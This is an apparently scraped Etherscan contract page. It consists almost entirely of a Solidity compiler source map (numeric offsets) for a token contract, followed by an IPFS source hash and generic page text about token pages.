:i;:::-;16417:10:::1;:21:::0;16340:106::o;17245:86::-;1642:7;1669:6;-1:-1:-1;;;;;1669:6:0;243:10;1817:23;1809:68;;;;-1:-1:-1;;;1809:68:0;;;;;;;:::i;:::-;17299:16:::1;:24:::0;;-1:-1:-1;;17299:24:0::1;::::0;;17245:86::o;9716:87::-;9755:13;9788:7;9781:14;;;;;:::i;10686:269::-;10779:4;10796:129;243:10;10819:7;10828:96;10867:15;10828:96;;;;;;;;;;;;;;;;;243:10;10828:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10828:34:0;;;;;;;;;;;;:38;:96::i;11562:167::-;11640:4;11657:42;243:10;11681:9;11692:6;11657:9;:42::i;16574:175::-;1642:7;1669:6;-1:-1:-1;;;;;1669:6:0;243:10;1817:23;1809:68;;;;-1:-1:-1;;;1809:68:0;;;;;;;:::i;:::-;16686:11:::1;:22:::0;;-1:-1:-1;;16719:22:0;16686::::1;::::0;::::1;;::::0;;;::::1;-1:-1:-1::0;;16719:22:0;;;;;;;::::1;;::::0;;;::::1;;::::0;;16574:175::o;16074:122::-;1642:7;1669:6;-1:-1:-1;;;;;1669:6:0;243:10;1817:23;1809:68;;;;-1:-1:-1;;;1809:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16155:23:0;;;::::1;;::::0;;;:17:::1;:23;::::0;;;;:33;;-1:-1:-1;;16155:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16074:122::o;2007:229::-;1642:7;1669:6;-1:-1:-1;;;;;1669:6:0;243:10;1817:23;1809:68;;;;-1:-1:-1;;;1809:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2110:22:0;::::1;2088:110;;;::::0;-1:-1:-1;;;2088:110:0;;6835:2:1;2088:110:0::1;::::0;::::1;6817:21:1::0;6874:2;6854:18;;;6847:30;6913:34;6893:18;;;6886:62;-1:-1:-1;;;6964:18:1;;;6957:36;7010:19;;2088:110:0::1;6633:402:1::0;2088:110:0::1;2209:19;2219:8;2209:9;:19::i;:::-;2007:229:::0;:::o;11132:337::-;-1:-1:-1;;;;;11225:19:0;;11217:68;;;;-1:-1:-1;;;11217:68:0;;7242:2:1;11217:68:0;;;7224:21:1;7281:2;7261:18;;;7254:30;7320:34;7300:18;;;7293:62;-1:-1:-1;;;7371:18:1;;;7364:34;7415:19;;11217:68:0;7040:400:1;11217:68:0;-1:-1:-1;;;;;11304:21:0;;11296:68;;;;-1:-1:-1;;;11296:68:0;;7647:2:1;11296:68:0;;;7629:21:1;7686:2;7666:18;;;7659:30;7725:34;7705:18;;;7698:62;-1:-1:-1;;;7776:18:1;;;7769:32;7818:19;;11296:68:0;7445:398:1;11296:68:0;-1:-1:-1;;;;;11377:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11429:32;;160:25:1;;;11429:32:0;;133:18:1;11429:32:0;;;;;;;11132:337;;;:::o;12058:1577::-;12145:4;-1:-1:-1;;;;;12172:20:0;;12164:70;;;;-1:-1:-1;;;12164:70:0;;8050:2:1;12164:70:0;;;8032:21:1;8089:2;8069:18;;;8062:30;8128:34;8108:18;;;8101:62;-1:-1:-1;;;8179:18:1;;;8172:35;8224:19;;12164:70:0;7848:401:1;12164:70:0;-1:-1:-1;;;;;12253:23:0;;12245:71;;;;-1:-1:-1;;;12245:71:0;;8456:2:1;12245:71:0;;;8438:21:1;8495:2;8475:18;;;8468:30;8534:34;8514:18;;;8507:62;-1:-1:-1;;;8585:18:1;;;8578:33;8628:19;;12245:71:0;8254:399:1;12245:71:0;12344:1;12335:6;:10;12327:64;;;;-1:-1:-1;;;12327:64:0;;8860:2:1;12327:64:0;;;8842:21:1;8899:2;8879:18;;;8872:30;8938:34;8918:18;;;8911:62;-1:-1:-1;;;8989:18:1;;;8982:39;9038:19;;12327:64:0;8658:405:1;12327:64:0;12412:6;;-1:-1:-1;;;12412:6:0;;;;12408:1220;;;12442:41;12457:6;12465:9;12476:6;12442:14;:41::i;:::-;12435:48;;;;12408:1220;12532:13;;;;12527:146;;-1:-1:-1;;;;;12574:25:0;;;;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;12603:28:0;;;;;;:17;:28;;;;;;;;12574:57;12566:91;;;;-1:-1:-1;;;12566:91:0;;9270:2:1;12566:91:0;;;9252:21:1;9309:2;9289:18;;;9282:30;-1:-1:-1;;;9328:18:1;;;9321:52;9390:18;;12566:91:0;9068:346:1;12566:91:0;12738:4;12689:28;10102:18;;;:9;:18;;;;;;12814:13;;12790:37;;;;;;;12848:34;;-1:-1:-1;12876:6:0;;-1:-1:-1;;;12876:6:0;;;;12875:7;12848:34;:59;;;;-1:-1:-1;;;;;;12887:20:0;;;;;;:12;:20;;;;;;;;12886:21;12848:59;:74;;;;-1:-1:-1;12911:11:0;;;;;;;12848:74;12844:145;;;12943:30;12952:20;12943:8;:30::i;:::-;13004:9;;-1:-1:-1;;;;;12994:19:0;;;13004:9;;12994:19;12990:124;;13061:53;;;;;;;;;;;-1:-1:-1;;;13061:53:0;;;;;;;;-1:-1:-1;;;;;13061:17:0;;-1:-1:-1;13061:17:0;;;:9;:17;;;;;;;;:53;;13083:6;;13061:21;:53::i;:::-;-1:-1:-1;;;;;13041:17:0;;;;;;:9;:17;;;;;:73;12990:124;13131:19;13153:34;13170:6;13177:9;13153:16;:34::i;:::-;:80;;13199:34;13207:6;13215:9;13226:6;13199:7;:34::i;:::-;13153:80;;;13190:6;13153:80;13253:16;;13131:102;;-1:-1:-1;13253:16:0;;;;;:37;;;;-1:-1:-1;13283:7:0;;-1:-1:-1;;;;;13273:17:0;;;13283:7;;13273:17;13253:37;:72;;;;-1:-1:-1;;;;;;13295:30:0;;;;;;:19;:30;;;;;;;;13294:31;13253:72;13250:202;;;13395:10;;13354:37;13379:11;13354:20;13364:9;-1:-1:-1;;;;;10102:18:0;10076:7;10102:18;;;:9;:18;;;;;;;10010:123;13354:20;:24;;:37::i;:::-;:51;;13346:90;;;;-1:-1:-1;;;13346:90:0;;9621:2:1;13346:90:0;;;9603:21:1;9660:2;9640:18;;;9633:30;9699:29;9679:18;;;9672:57;9746:18;;13346:90:0;9419:351:1;13346:90:0;-1:-1:-1;;;;;13491:20:0;;;;;;:9;:20;;;;;;:37;;13516:11;13491:24;:37::i;:::-;-1:-1:-1;;;;;13468:20:0;;;;;;;:9;:20;;;;;;;:60;;;;13550:40;;;;;;;;;;13578:11;160:25:1;;148:2;133:18;;14:177;13550:40:0;;;;;;;;13612:4;13605:11;;;;;;;2783:192;2869:7;2905:12;2897:6;;;;2889:29;;;;-1:-1:-1;;;2889:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2929:9:0;2941:5;2945:1;2941;:5;:::i;:::-;2929:17;2783:192;-1:-1:-1;;;;;2783:192:0:o;2639:136::-;2697:7;2724:43;2728:1;2731;2724:43;;;;;;;;;;;;;;;;;:3;:43::i;2450:181::-;2508:7;;2540:5;2544:1;2540;:5;:::i;:::-;2528:17;;2569:1;2564;:6;;2556:46;;;;-1:-1:-1;;;2556:46:0;;10372:2:1;2556:46:0;;;10354:21:1;10411:2;10391:18;;;10384:30;10450:29;10430:18;;;10423:57;10497:18;;2556:46:0;10170:351:1;2244:173:0;2300:16;2319:6;;-1:-1:-1;;;;;2336:17:0;;;-1:-1:-1;;;;;;2336:17:0;;;;;;2369:40;;2319:6;;;;;;;2369:40;;2300:16;2369:40;2289:128;2244:173;:::o;13643:330::-;13773:53;;;;;;;;;;;-1:-1:-1;;;13773:53:0;;;;;;;;-1:-1:-1;;;;;13773:17:0;;13736:4;13773:17;;;:9;:17;;;;;;;:53;;13795:6;;13773:21;:53::i;:::-;-1:-1:-1;;;;;13753:17:0;;;;;;;:9;:17;;;;;;:73;;;;13860:20;;;;;;;:32;;13885:6;13860:24;:32::i;:::-;-1:-1:-1;;;;;13837:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13908:35;;;;;;;;;;13936:6;160:25:1;;148:2;133:18;;14:177;13908:35:0;;;;;;;;-1:-1:-1;13961:4:0;13643:330;;;;;:::o;15024:386::-;8585:6;:13;;-1:-1:-1;;;;8585:13:0;-1:-1:-1;;;8585:13:0;;;15098:11:::1;::::0;;;::::1;8585:13:::0;15098:11:::1;15095:47;;;-1:-1:-1::0;15129:13:0::1;::::0;15095:47:::1;15180:21;15212:33;15229:15:::0;15212:16:::1;:33::i;:::-;15256:22;15281:41;:21;15307:14:::0;15281:25:::1;:41::i;:::-;15256:66:::0;-1:-1:-1;15337:18:0;;15334:66:::1;;15365:9;::::0;15357:43:::1;::::0;-1:-1:-1;;;;;15365:9:0;;::::1;::::0;15357:43;::::1;;;::::0;15385:14;;15365:9:::1;15357:43:::0;15365:9;15357:43;15385:14;15365:9;15357:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;15334:66;-1:-1:-1::0;;8621:6:0;:14;;-1:-1:-1;;;;8621:14:0;;;-1:-1:-1;15024:386:0:o;13985:369::-;-1:-1:-1;;;;;14089:25:0;;14069:4;14089:25;;;:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;14118:28:0;;;;;;:17;:28;;;;;;;;14089:57;14086:261;;;-1:-1:-1;14170:4:0;14163:11;;14086:261;-1:-1:-1;;;;;14205:20:0;;;;;;:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;14229:23:0;;;;;;:12;:23;;;;;;;;14205:47;14201:146;;;-1:-1:-1;14276:5:0;14269:12;;14201:146;-1:-1:-1;14330:5:0;14323:12;;14362:654;-1:-1:-1;;;;;14508:20:0;;14448:7;14508:20;;;:12;:20;;;;;;14448:7;;14508:20;;14505:278;;;14558:48;14591:14;;14558:28;14569:16;;14558:6;:10;;:28;;;;:::i;:::-;:32;;:48::i;:::-;14546:60;;14505:278;;;-1:-1:-1;;;;;14637:23:0;;;;;;:12;:23;;;;;;;;14634:149;;;14672:9;;14690:4;-1:-1:-1;;;;;14672:9:0;;;:17;:22;14664:31;;;;;;14722:49;14756:14;;14722:29;14733:17;;14722:6;:10;;:29;;;;:::i;:49::-;14710:61;;14634:149;14798:13;;14795:173;;14873:4;14855:24;;;;:9;:24;;;;;;:39;;14884:9;14855:28;:39::i;:::-;14846:4;14828:24;;;;:9;:24;;;;;;;:66;;;;14914:42;;-1:-1:-1;;;;;14914:42:0;;;;;;;14946:9;160:25:1;;148:2;133:18;;14:177;14914:42:0;;;;;;;;14795:173;14987:21;:6;14998:9;14987:10;:21::i;15418:648::-;15568:16;;;15582:1;15568:16;;;;;;;;15544:21;;15568:16;;;;;;;;;;-1:-1:-1;15568:16:0;15544:40;;15613:4;15595;15600:1;15595:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15595:23:0;;;-1:-1:-1;;;;;15595:23:0;;;;;15639:9;;;;;;;;;-1:-1:-1;;;;;15639:9:0;-1:-1:-1;;;;;15639:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15629:4;15634:1;15629:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15629:26:0;;;:7;;;;;;;;;:26;15700:9;;15668:56;;15685:4;;15700:9;;;;15712:11;15668:8;:56::i;:::-;15763:9;;:234;;-1:-1:-1;;;15763:234:0;;:9;;;;-1:-1:-1;;;;;15763:9:0;;:60;;:234;;15838:11;;15864:1;;15908:4;;15935;;15971:15;;15763:9;:234;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16023:35;16040:11;16053:4;16023:35;;;;;;;:::i;:::-;;;;;;;;15473:593;15418:648;:::o;2983:250::-;3041:7;3065:1;3070;3065:6;3061:47;;-1:-1:-1;3095:1:0;3088:8;;3061:47;3120:9;3132:5;3136:1;3132;:5;:::i;:::-;3120:17;-1:-1:-1;3165:1:0;3156:5;3160:1;3120:17;3156:5;:::i;:::-;:10;3148:56;;;;-1:-1:-1;;;3148:56:0;;12777:2:1;3148:56:0;;;12759:21:1;12816:2;12796:18;;;12789:30;12855:34;12835:18;;;12828:62;-1:-1:-1;;;12906:18:1;;;12899:31;12947:19;;3148:56:0;12575:397:1;3241:132:0;3299:7;3326:39;3330:1;3333;3326:39;;;;;;;;;;;;;;;;;3467:7;3502:12;3495:5;3487:28;;;;-1:-1:-1;;;3487:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3526:9:0;3538:5;3542:1;3538;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;1187:131::-;-1:-1:-1;;;;;1262:31:1;;1252:42;;1242:70;;1308:1;1305;1298:12;1323:315;1391:6;1399;1452:2;1440:9;1431:7;1427:23;1423:32;1420:52;;;1468:1;1465;1458:12;1420:52;1507:9;1494:23;1526:31;1551:5;1526:31;:::i;:::-;1576:5;1628:2;1613:18;;;;1600:32;;-1:-1:-1;;;1323:315:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2485:247::-;2544:6;2597:2;2585:9;2576:7;2572:23;2568:32;2565:52;;;2613:1;2610;2603:12;2565:52;2652:9;2639:23;2671:31;2696:5;2671:31;:::i;2737:160::-;2802:20;;2858:13;;2851:21;2841:32;;2831:60;;2887:1;2884;2877:12;2831:60;2737:160;;;:::o;2902:315::-;2967:6;2975;3028:2;3016:9;3007:7;3003:23;2999:32;2996:52;;;3044:1;3041;3034:12;2996:52;3083:9;3070:23;3102:31;3127:5;3102:31;:::i;:::-;3152:5;-1:-1:-1;3176:35:1;3207:2;3192:18;;3176:35;:::i;:::-;3166:45;;2902:315;;;;;:::o;3222:180::-;3281:6;3334:2;3322:9;3313:7;3309:23;3305:32;3302:52;;;3350:1;3347;3340:12;3302:52;-1:-1:-1;3373:23:1;;3222:180;-1:-1:-1;3222:180:1:o;3407:248::-;3469:6;3477;3530:2;3518:9;3509:7;3505:23;3501:32;3498:52;;;3546:1;3543;3536:12;3498:52;3569:26;3585:9;3569:26;:::i;3660:388::-;3728:6;3736;3789:2;3777:9;3768:7;3764:23;3760:32;3757:52;;;3805:1;3802;3795:12;3757:52;3844:9;3831:23;3863:31;3888:5;3863:31;:::i;:::-;3913:5;-1:-1:-1;3970:2:1;3955:18;;3942:32;3983:33;3942:32;3983:33;:::i;:::-;4035:7;4025:17;;;3660:388;;;;;:::o;4053:356::-;4255:2;4237:21;;;4274:18;;;4267:30;4333:34;4328:2;4313:18;;4306:62;4400:2;4385:18;;4053:356::o;4760:251::-;4830:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:52;;;4899:1;4896;4889:12;4851:52;4931:9;4925:16;4950:31;4975:5;4950:31;:::i;5937:306::-;6025:6;6033;6041;6094:2;6082:9;6073:7;6069:23;6065:32;6062:52;;;6110:1;6107;6100:12;6062:52;6139:9;6133:16;6123:26;;6189:2;6178:9;6174:18;6168:25;6158:35;;6233:2;6222:9;6218:18;6212:25;6202:35;;5937:306;;;;;:::o;6248:380::-;6327:1;6323:12;;;;6370;;;6391:61;;6445:4;6437:6;6433:17;6423:27;;6391:61;6498:2;6490:6;6487:14;6467:18;6464:38;6461:161;;6544:10;6539:3;6535:20;6532:1;6525:31;6579:4;6576:1;6569:15;6607:4;6604:1;6597:15;6461:161;;6248:380;;;:::o;9775:127::-;9836:10;9831:3;9827:20;9824:1;9817:31;9867:4;9864:1;9857:15;9891:4;9888:1;9881:15;9907:128;9974:9;;;9995:11;;;9992:37;;;10009:18;;:::i;10040:125::-;10105:9;;;10126:10;;;10123:36;;;10139:18;;:::i;10658:127::-;10719:10;10714:3;10710:20;10707:1;10700:31;10750:4;10747:1;10740:15;10774:4;10771:1;10764:15;10790:461;10843:3;10881:5;10875:12;10908:6;10903:3;10896:19;10934:4;10963:2;10958:3;10954:12;10947:19;;11000:2;10993:5;10989:14;11021:1;11031:195;11045:6;11042:1;11039:13;11031:195;;;11110:13;;-1:-1:-1;;;;;11106:39:1;11094:52;;11166:12;;;;11201:15;;;;11142:1;11060:9;11031:195;;;-1:-1:-1;11242:3:1;;10790:461;-1:-1:-1;;;;;10790:461:1:o;11256:582::-;11555:6;11544:9;11537:25;11598:6;11593:2;11582:9;11578:18;11571:34;11641:3;11636:2;11625:9;11621:18;11614:31;11518:4;11662:57;11714:3;11703:9;11699:19;11691:6;11662:57;:::i;:::-;-1:-1:-1;;;;;11755:32:1;;;;11750:2;11735:18;;11728:60;-1:-1:-1;11819:3:1;11804:19;11797:35;11654:65;11256:582;-1:-1:-1;;;11256:582:1:o;11843:332::-;12050:6;12039:9;12032:25;12093:2;12088;12077:9;12073:18;12066:30;12013:4;12113:56;12165:2;12154:9;12150:18;12142:6;12113:56;:::i;:::-;12105:64;11843:332;-1:-1:-1;;;;11843:332:1:o;12180:168::-;12253:9;;;12284;;12301:15;;;12295:22;;12281:37;12271:71;;12322:18;;:::i;12353:217::-;12393:1;12419;12409:132;;12463:10;12458:3;12454:20;12451:1;12444:31;12498:4;12495:1;12488:15;12526:4;12523:1;12516:15;12409:132;-1:-1:-1;12555:9:1;;12353:217::o
Swarm Source
ipfs://55db72e3668b803c75fffa0a3794ebef8464b310f65e311141a4b0774bf8bcaf
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.